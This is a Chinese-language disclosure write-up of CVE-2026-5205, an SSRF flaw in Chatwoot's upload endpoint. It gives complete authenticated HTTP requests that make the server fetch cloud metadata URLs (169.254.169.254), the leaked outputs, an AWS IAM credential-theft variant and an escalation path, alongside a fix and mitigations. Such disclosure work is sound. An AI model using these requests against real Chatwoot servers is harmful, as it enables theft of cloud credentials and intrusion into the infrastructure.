CVE-2026-5205:Chatwoot 上传功能中的严重 SSRF 漏洞
深入分析 Chatwoot 上传端点(≤ v4.12.1)中的一个严重服务器端请求伪造(SSRF)漏洞。/api/v1/accounts/:id/upload 端点接受一个 external_url 参数,而该参数仅通过协议检查进行校验,使任何已认证的 agent 都能迫使服务器抓取任意内部 URL。完整的响应正文会通过 ActiveStorage blob 带内返回——将上传端点变成一个完整读取代理。在 DigitalOcean droplet 上的真实利用证实了云元数据的带内外泄,包括 droplet ID、主机名、SSH 公钥以及完整的元数据包。已在 v4.13.0 中修复。
CVE-2026-5205
Chatwoot:/api/v1/accounts/:id/upload 中的严重 SSRF 漏洞
2026 年 3 月 26 日 · CWE-918 · Chatwoot ≤ v4.12.1
| 字段 | 详情 |
|---|---|
| 弱点 | CWE-918:服务器端请求伪造 |
| 严重程度 | 高危 |
| 受影响版本 | Chatwoot ≤ v4.12.1 |
| 修复版本 | v4.13.0 |
| 认证 | Agent(最低权限角色) |
| 受影响组件 | app/controllers/api/v1/accounts/upload_controller.rb |
起因
一切始于一个上传端点,以及一个本不该被信任的参数。
在 Ostorlab,我一直在审查 Chatwoot 的代码库——这是一个开源的客户互动平台,将自己定位为 Intercom 的替代品。在追踪应用中的数据流时,我来到了上传控制器。位于 /api/v1/accounts/:id/upload 的端点接受一个 external_url 参数:您给它一个 URL,服务器便抓取该资源,将其存储为 ActiveStorage blob,然后返回一个 file_url 供您下载结果。
问题立刻浮现:是什么阻止它去抓取 http://169.254.169.254/?
答案是:没有任何东西阻止它。只有一个函数——validate_uri——横亘在用户输入与出站 HTTP 请求之间。它检查了 URL 的协议(scheme)。仅此而已。没有主机名校验。没有 IP 段拦截。没有 DNS 重绑定防护。服务器会乐于抓取任何 http:// 或 https:// 的 URL,存储响应,并将其返回给调用方。
与那些攻击者必须通过旁路信道推断响应的盲打 SSRF 漏洞不同,这个漏洞会通过 ActiveStorage blob 带内返回完整的响应正文。无需带外外泄。无需时序攻击。服务器抓取、存储,然后把数据拱手奉上。
我在一台 DigitalOcean droplet 上部署了未经修改的 chatwoot/chatwoot:latest,并证实了完整的利用链——向元数据服务发起六次连续请求,每一次都通过 blob URL 返回了真实的基础设施数据。Droplet ID。主机名。公网 IP。SSH 公钥。完整的元数据 JSON 包。全部可通过一次简单的 GET 请求读取。
该发现已通过 GitHub Security Advisory 提交给 Chatwoot 安全团队。此问题被确认为已有人报告,并已在 v4.13.0 中修复。本文记录了我发现这个漏洞时的样子:存在漏洞的代码、利用链,以及在真实基础设施上的实况证明。
漏洞详情:通过 external_url 参数实现的 SSRF(CVE-2026-5205)
汇聚点(Sink)
Chatwoot 位于 /api/v1/accounts/:id/upload 的上传端点接受一个 external_url 参数。服务器使用 Ruby 的 open-uri 在服务器端抓取该 URL,将响应正文存储为 ActiveStorage blob,并直接将 blob URL 返回给调用方。随后攻击者便可跟随 file_url 读取原始的上游响应——完整的带内外泄。
追踪数据流
存在漏洞的代码位于 app/controllers/api/v1/accounts/upload_controller.rb:
def validate_uri(uri)
raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
end
def fetch_and_process_file_from_uri(uri)
uri.open do |file| # open-uri fetches ANY http(s) URL incl. 169.254.169.254
create_and_save_blob(file, File.basename(uri.path), file.content_type)
end
end
仅此而已。validate_uri 验证 URL 使用的是 http:// 或 https://,除此之外别无其他。没有主机名校验。没有 IP 段检查。没有允许列表。http://169.254.169.254/metadata/v1/id 会毫无阻碍地通过这项检查。
uri.open(来自 open-uri)会对任何通过了协议检查的 URL 发起真实的 HTTP GET 请求。响应被 create_and_save_blob 消费,后者将原始正文存储为 ActiveStorage blob。该 blob 的 file_url 会在 JSON 响应中返回——使攻击者得以直接访问完整的上游响应正文。
服务器响应如下:
{ "file_url": "...", "blob_id": "..." }
跟随 file_url 便会返回原始的上游正文。这就是整个外泄通道——内置于应用的正常响应流程之中。
讽刺之处:企业版代码有防护,核心版却没有
这种讽刺令人刺痛。Chatwoot 的企业版(Enterprise edition)在 enterprise/lib/captain/tools/http_tool.rb 中已经包含了一个恰当的 SSRF 防护:
PRIVATE_IP_RANGES = [
IPAddr.new('127.0.0.0/8'), # IPv4 Loopback
IPAddr.new('10.0.0.0/8'), # IPv4 Private network
IPAddr.new('172.16.0.0/12'), # IPv4 Private network
IPAddr.new('192.168.0.0/16'), # IPv4 Private network
IPAddr.new('169.254.0.0/16'), # IPv4 Link-local (cloud metadata)
IPAddr.new('::1'), # IPv6 Loopback
IPAddr.new('fc00::/7'), # IPv6 Unique local addresses
IPAddr.new('fe80::/10') # IPv6 Link-local
].freeze
def check_private_ip!(hostname)
ip_address = IPAddr.new(Resolv.getaddress(hostname))
raise 'Request blocked: hostname resolves to private IP address' if
PRIVATE_IP_RANGES.any? { |range| range.include?(ip_address) }
end
完整覆盖私有 IP。在检查之前先进行 DNS 解析。这正是 validate_uri 所需要的。但这项防护被局限在企业版 AI 工具模块之中——从未应用到上传控制器上,使得 external_url 下载路径门户大开。
修复方案就在同一个代码库里。只是它没有被接上。
真实利用:DigitalOcean Droplet
我针对一台 DigitalOcean droplet 上未经修改的 chatwoot/chatwoot:latest 部署进行了测试。没有特殊配置,没有修改设置——只用了默认的 docker-compose.production.yaml。结果不言自明。
测试环境
| 属性 | 值 |
|---|---|
| 提供商 | DigitalOcean |
| 区域 | lon1 |
| Droplet ID | 552923997 |
| 主机名 | ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01 |
| 公网 IP | 167.99.195.252 |
| 镜像 | chatwoot/chatwoot:latest(默认 docker-compose.production.yaml) |
| 攻击者 | agent@acme.test(角色 0——agent,非管理员) |
第 1 步——以最低权限 agent 身份认证
POST /auth/sign_in HTTP/1.1
Content-Type: application/json
{"email":"agent@acme.test","password":"Password1!"}
捕获到的响应头:
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
攻击者不需要管理员权限。最低权限的 agent 角色就足以访问上传端点。
第 2 步——向 DigitalOcean 元数据服务发起 SSRF 请求
全部六个请求都使用相同的已认证模板:
POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=<TARGET>
服务器以 { "file_url": "...", "blob_id": "..." } 作出响应。跟随 file_url 便会返回原始的上游正文——即元数据服务的完整响应。
结果——六次连续的元数据外泄请求
| # | external_url 目标 |
返回的 blob 正文 |
|---|---|---|
| 1 | http://169.254.169.254/metadata/v1/id |
552923997 |
| 2 | http://169.254.169.254/metadata/v1/hostname |
ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01 |
| 3 | http://169.254.169.254/metadata/v1/region |
lon1 |
| 4 | http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address |
167.99.195.252 |
| 5 | http://169.254.169.254/metadata/v1/public-keys |
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDGORTi7ekb1WsK+3qrDp4IKdaRt/OoAVf0SNSAGuMGd soop@soop |
| 6 | http://169.254.169.254/metadata/v1.json |
完整的 DO 元数据包(droplet_id、vendor_data cloud-init、public_keys、interfaces、dns……) |
每一个响应——droplet ID、主机名、公网 IP、SSH 公钥以及完整的元数据 JSON——都通过 ActiveStorage blob 返回,攻击者只需对 file_url 发起一次简单的 GET 请求即可读取。
完整请求/响应示例——Droplet ID 外泄
请求:
POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=http://169.254.169.254/metadata/v1/id
响应:
{
"file_url": "http://167.99.195.252:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368/id",
"blob_id": "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368"
}
抓取 file_url:
552923997
这个 droplet ID——已与 DigitalOcean 控制面板核对一致。真实数据,带内外泄,来自一个默认的 Chatwoot 安装。
升级:从 SSRF 到云账户接管
AWS IMDSv1——最坏的情况
在使用 IMDSv1 托管的 AWS EC2、ECS、Lambda 或 Elastic Beanstalk 实例上,这个 SSRF 便成为通往完整云账户接管的直接路径:
POST /api/v1/accounts/1/upload HTTP/1.1
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
元数据服务会返回完整的 IAM 凭据——并且由于上传 SSRF 会带内返回完整的响应正文,攻击者便可直接从 file_url 读取它们:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "AQoXnyc4lcK4w...",
"Expiration": "2026-04-01T00:00:00Z"
}
从那里开始的升级路径:
SSRF → AWS IMDSv1 credentials
→ Attacker has AWS IAM role keys
→ Role has S3/EC2/Lambda/ECS permissions
→ Deploy backdoor Lambda / modify EC2 user data
→ Full RCE on cloud infrastructure
影响
| 场景 | 影响 |
|---|---|
| AWS IMDSv1(无跳数限制) | 严重——窃取 IAM 角色凭据,完整接管 AWS 账户 |
| GCP 元数据 API | 严重——窃取服务账户 OAuth 令牌 |
| Azure IMDS | 严重——窃取托管身份令牌 |
| DigitalOcean 元数据 | 高危——窃取云令牌、SSH 密钥、用户数据 |
| 内网横向移动 | 高危——攻击 Redis、Postgres 管理界面、Sidekiq Web、K8s API、内部微服务 |
| 密钥外泄 | 高危——读取内部调试/健康检查端点 |
| 权限提升 | 高危——被窃取的云凭据可授予 Chatwoot 之外的访问权限 |
CVE-2026-5205 的修复
该漏洞已在 Chatwoot v4.13.0 中修复。权威公告以 GHSA-6fj9-gj7h-q2hf 进行跟踪。
推荐做法——在抓取前校验解析后的 IP
修复方案应在 open-uri 发起请求之前,对解析后的 IP 与私有地址段进行校验:
require 'resolv'
PRIVATE_IP_PATTERNS = [
/\A127\./, /\A10\./, /\A172\.(1[6-9]|2\d|3[01])\./,
/\A192\.168\./, /\A169\.254\./, /\Afc00:/i, /\Afe80:/i
].freeze
def validate_uri(uri)
raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
resolved = Resolv.getaddress(uri.host) rescue nil
raise URI::InvalidURIError, 'SSRF: internal host blocked' if resolved && PRIVATE_IP_PATTERNS.any? { |p| p.match?(resolved) }
end
云层面的缓解措施——启用 IMDSv2
在 AWS 上,强制使用 IMDSv2——它要求携带令牌头的 PUT 请求,而 open-uri 无法伪造这一点:
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxx \
--http-tokens required \
--http-put-response-hop-limit 1
这是一项缓解措施,而非修复——无论是否启用 IMDSv2,对内部服务的访问仍然可能发生。
时间线
| 日期 | 事件 |
|---|---|
| 2026-03-26 | 通过源代码审查发现漏洞 |
| 2026-03-26 | 通过在 DigitalOcean droplet(v4.12.1)上的真实利用得到确认 |
| 2026-03-26 | 通过 GitHub Security Advisory 提交报告 |
| 2026-04-22 | Chatwoot 团队确认该问题已有人报告,并已在 v4.13.0 中修复 |
| 2026-04-22 | 公告关闭——权威跟踪见 GHSA-6fj9-gj7h-q2hf |